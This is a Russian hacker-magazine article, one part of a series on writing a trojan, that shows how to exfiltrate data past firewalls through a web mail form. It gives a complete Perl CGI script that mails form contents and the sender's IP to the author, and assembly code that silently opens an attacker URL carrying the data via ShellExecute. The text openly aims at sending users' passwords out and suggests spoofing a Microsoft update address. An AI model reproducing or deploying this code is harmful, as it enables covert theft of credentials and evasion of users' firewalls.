Продолжаем статьи про троян. Прежде чем
перейти к firewall-ам (а именно тему о том ,как
заставить их "сходить в сад"),
рассмотрим отсылку сообщения, которую они
не отловят. А именно отсылку через так
называемую обратную форму. Все видели такие
формы на web-страницах (кто не видел, на моем
есть) — их можно заполнить и запустится
скрипт, который отошлет сообщение на нужный
e-mail. Обычно такая форма — это в html тег <form
action="cgi-bin/mail.cgi" method=post>, и скрипт "*.cgi".
Всю инфу по ним можно найти в инете. При
вызове метода submit (нажатие кнопки или еще
чего-то), содержимое формы будет добавлено к
URL в следующей форме: "http:\\www.domain.com\mail.cgi? name=value&name=value&
name=value". Где "name" — имя input-ов и т.п., а
"value" — введенные в эти input-ы данные.
Вывод напрашивается сам собой: сделать
эмуляцию заполнения тела письма и эмулюцию
submit. Проще говоря: юзер сам зашел, сам ввел
свои пароли и сам это письмо нам отправил.

В WinAPI (универсалы хреновы) есть функция
"ShellExecute", которая способна открывать
указанный url вот таким образом: "ShellExecute(0,’open’,’http://www.danil.dp.ua’,»,»,SW_HIDE);".
Последним параметром мы скрываем
приложение. При выполнении этой команды,
маздай запускает броузер по умолчанию и
открывает url http://www.danil.dp.ua/. Теперь, если мы
запустим "ShellExecute (0,’open’, ‘http://www.danil.dp.ua/cgi-bin/mail.cgi?
comment=Hi I am troyan2’,»,» ,SW_HIDE);" и напишем
соответствующий скрипт, то это будет все
равно, что просубмититься в форме с
заполненным input-ом "comment".

Приводить здесь html с формой я не буду —
есть на www.danil.dp.ua
— "послать мне мыло (web)"—"view source".
Обратную форму я когда-то взял у Vicont (http://alex.azdata.net)
— потом только ее переделывал под свои нужды.
Вот текст "mail.cgi":

#!/usr/local/bin/perl
# Путь к perl
$mail_prog = "/usr/sbin/sendmail" ;
# Путь к sendmail

$recip = "dndanil\@ukr.net" ; 
# Кому письмо
$email = "dndanil\@ukr.net" ;
# От кого письмо

$url = "http://www.danil.dp.ua/" ;
# Перейдет после отсылки
$subject = "Troyan2" ;
# Тема
$myurl = "http://www.danil.dp.ua/" ;
$errmsg = "<p>Введите правильный e-mail</p>\n"
;
$errmsg1 = "<p>Введите правильный адрес
домашней странички</p>\n";

# Кодировка
$char = "Windows-1251";

&GetFormInput;

$comment = $field{‘comment’} ;
# Получаем данные

$message = "" ;
$found_err = "" ;

if ($email !~ /.+\@.+\..+/) {
$message = $message.$errmsg ;
$found_err = 1 ; }

if ($found_err) {
&PrintError; }

open (MAIL, "|$mail_prog -t");
print MAIL "To: $recip\n";
print MAIL "Reply-to: $email\n";
print MAIL "From: $email\n";
print MAIL "MIME-Version: 1.0\n";
print MAIL "Content-Transfer-Encoding: 8bit\n";
print MAIL "Content-Type: text/plain; charset=\"$char\"\n";
print MAIL "Subject: $subject\n\n";
print MAIL "Reply-to: $email\n";
print MAIL "From: $email\n";
print MAIL "Subject: $subject\n\n";
print MAIL "".$comment ."\n\n";
print MAIL "Сообщение послали с: $ENV{REMOTE_ADDR},
Обозреватель: $ENV{HTTP_USER_AGENT}\n";
close (MAIL);

print "Location: $url\nURL: $url\n\n" ;

sub PrintError { 

print "Content-type: text/html\n\n";
print $message ;

exit 0 ;
return 1 ; 
}

sub GetFormInput {

(*fval) = @_ if @_ ;

local ($buf);
if ($ENV{‘REQUEST_METHOD’} eq ‘POST’) {
read(STDIN,$buf,$ENV{‘CONTENT_LENGTH’});
}
else {
$buf=$ENV{‘QUERY_STRING’};
}
if ($buf eq "") {
return 0 ;
}
else {
@fval=split(/&/,$buf);
foreach $i (0 .. $#fval){
($name,$val)=split (/=/,$fval[$i],2);
$val=~tr/+/ /;
$val=~ s/%(..)/pack("c",hex($1))/ge;
$name=~tr/+/ /;
$name=~ s/%(..)/pack("c",hex($1))/ge;

if (!defined($field{$name})) {
$field{$name}=$val;
}
else {
$field{$name} .= ",$val";

#if you want multi-selects to goto into an array change to:
#$field{$name} .= "\0$val";
}

}
}
return 1;
}

Тут конечно много лишнего, но отбора
лишнего возлагаю на ваши хрупкие плечи. Для
того, чтобы запускать этот скрипт,
необходимо оформиться в каком-нибудь
сервисе, предоставляющем место под свою
страницу с возможностью запускать cgi-скрипты.
При оформлении они должны сообщить о путях
к Perl и SendMail. В первой и второй строчках
прописываем пути, ставим кому письмо и от
кого, ставим тему (см. комментарии). Помещаем
файл "mail.cgi" в cgi-bin каталог. Ставим ему
свойства "rwxr-xr-x" коммандой "chmod 755".
Теперь при открытии url "http://www.domain.com/cgi-bin/
mail.cgi?comment=Hi I am troyan2", мы должны получить
письмо на dndanil@ukr.net с темой "Troyan2", в
кодировке "Windows-1251" и с текстом "Hi, I am
troyan2". Заразом там будет IP-адрес человека,
пославшего сообщение или адрес его прокси-сервера.
Теперь надо написать эмуляцию открытия
этого url. Вот исходники на асме
("troyan2.asm"):

.486
.model flat,stdcall
option casemap:none

include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
; ———————————————-
.DATA 
Url db "http://www.domain.com/cgi-bin/mail.cgi?comment=Hi I am
troyan2",0 ; url
open db "open",0
; ———————————————-
; ———————————————-
; ———————————————-
.CODE
start: 
; Запуск открытия url
invoke ShellExecute, 0, addr open, addr Url, 0, 0, 0
END start 

Естественно как трояна эту структуру
использовать пока нельзя — у юзера при
запуске этой проге вылезет окно броузера.
Тут надо еще дорабатывать — ну так я все
разжевывать и не обещал. У кого руки не
кривые, тот разберется что делать.
Преимущества данного метода такие:
стандартные firewall-ы не отлавливают и свой
обратный адрес можно править не имея
доступа к юзеру. Недостатков тоже много.
Кстати, можно возвратный адрес в скрипте
ставить адрес обновления m$ window$.

web-страница программы : www.danil.dp.ua;
исходники, статьи : www.danil.dp.ua/troyan.zip.

P.S. Статья и программа предоставлена в целях
обучения и вся ответственность за
использование ложится на твои хилые плечи.

Оставить мнение

Check Also

Конкурс хаков: пишем на PowerShell скрипт, который уведомляет о днях рождения пользователей Active Directory

В компаниях часто встречается задача уведомлять сотрудников о приближающихся днях рождения…